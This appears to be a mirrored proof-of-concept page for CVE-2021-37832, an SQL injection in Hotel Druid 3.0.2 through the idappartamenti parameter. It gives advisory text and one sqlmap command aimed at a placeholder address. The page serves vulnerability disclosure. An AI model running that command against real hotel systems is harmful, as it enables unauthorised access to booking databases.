CVE-2021-37832 PoC — Hotel Druid SQL注入漏洞

Source

https://github.com/dievus/CVE-2021-37832

Associated Vulnerability

Title:Hotel Druid SQL注入漏洞 (CVE-2021-37832)
Description:Hotel Druid是由DigitalDruid.Net 开发的用于酒店管理的开源程序。 Hotel Druid 3.0.2版本存在安全漏洞，该漏洞源于恶意攻击者可利用该漏洞可以通过易受攻击的idappartamenti参数向SQLite数据库发出SQL命令。

Description

CVE-2021-37832 - Hotel Druid 3.0.2 SQL Injection Vulnerability - 9.8 CVSS 3.1

Readme

# CVE 2021-37832 Hotel Druid 3.0.2 SQL Injection Vulnerability

A SQL injection vulnerability exists in version 3.0.2 of Hotel Druid when SQLite is being used as the application database. A malicious attacker can issue SQL commands to the SQLite database through the vulnerable idappartamenti parameter.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37832

https://nvd.nist.gov/vuln/detail/CVE-2021-37832#match-6858716

Vulnerable PHP Page:

modifica_app.php - idappartamenti parameter

Vulnerable Payload

sqlmap -u "<ipaddress>/modifica_app.php?tipo_tabella=appartamenti&anno=2021&id_sessione=&idappartamenti=01" --level=3 --risk=2 --banner --dbms=sqlite

Discovered by Joe Helle, July 2021

File Snapshot


 [4.0K]  /data/pocs/74c6c81cc28083d60aaa1136cfb9a1b9d2e04bd3
└── [ 704]  README.md

0 directories, 1 file

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!